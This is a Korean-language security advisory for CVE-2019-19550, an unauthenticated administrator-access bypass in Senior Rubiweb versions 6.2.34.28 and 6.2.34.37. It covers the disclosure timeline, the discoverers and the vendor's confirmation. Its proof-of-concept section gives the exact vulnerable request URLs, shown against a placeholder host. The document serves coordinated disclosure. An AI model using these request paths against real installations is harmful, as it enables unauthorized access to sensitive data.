CVE-2019-19550
[설명]
Senior Rubiweb 6.2.34.28 및 6.2.34.37에서 원격 인증 우회(Remote Authentication Bypass)가 발생하여, 취약한 버전을 사용하는 영향받는 사용자의 민감한 정보에 관리자 접근이 허용됩니다. 공격자는 올바른 URL만 제공하면 됩니다.
[중요 날짜]
- 벤더 통지: 2019-12-02
- 공개 공시일: 2020-01-30
[취약점 유형]
잘못된 접근 제어
[제품 공급업체]
Senior
[영향을 받는 제품 코드 베이스]
- Rubiweb - 6.2.34.37
- Rubiweb - 6.2.34.28
- 다른 버전도 영향을 받을 수 있으며, 특히 동일 계열 제품이 영향을 받을 수 있습니다(아직 테스트되지 않음)
[영향을 받는 구성 요소]
Rubiweb
[공격 유형]
원격
[영향: 정보 공개]
예
[공격 벡터]
특별한 요구 사항 없이 민감한 정보에 대한 접근이 공개적으로 가능합니다(올바른 URI만 필요).
[공급업체가 취약점을 확인했거나 인정했습니까?]
예
[PoC - 개념 증명]
- 인증 포털에 연결을 시도하여 영향을 받는 제품의 존재와 버전을 확인하십시오:
- hXXp://subdomain.customer.tld:8080/rubiweb/
- 취약한 페이지에 접근합니다(인증 없는 관리자):
- hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=EXESENHA&SIS=FP&LOGINKIND=1
- hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=ENTRANCEREL&SIS=FP&NOME=FPIN103.ANU
[발견자]
Mauricio Santos (R&D UnderProtection) 및 Hesron Hori (R&D UnderProtection)
[감사의 말]
Senior - 조정된 공개에 협력한 공급업체의 정보 보안 팀
[참고 문헌]
underprotection/cve-2019-19550
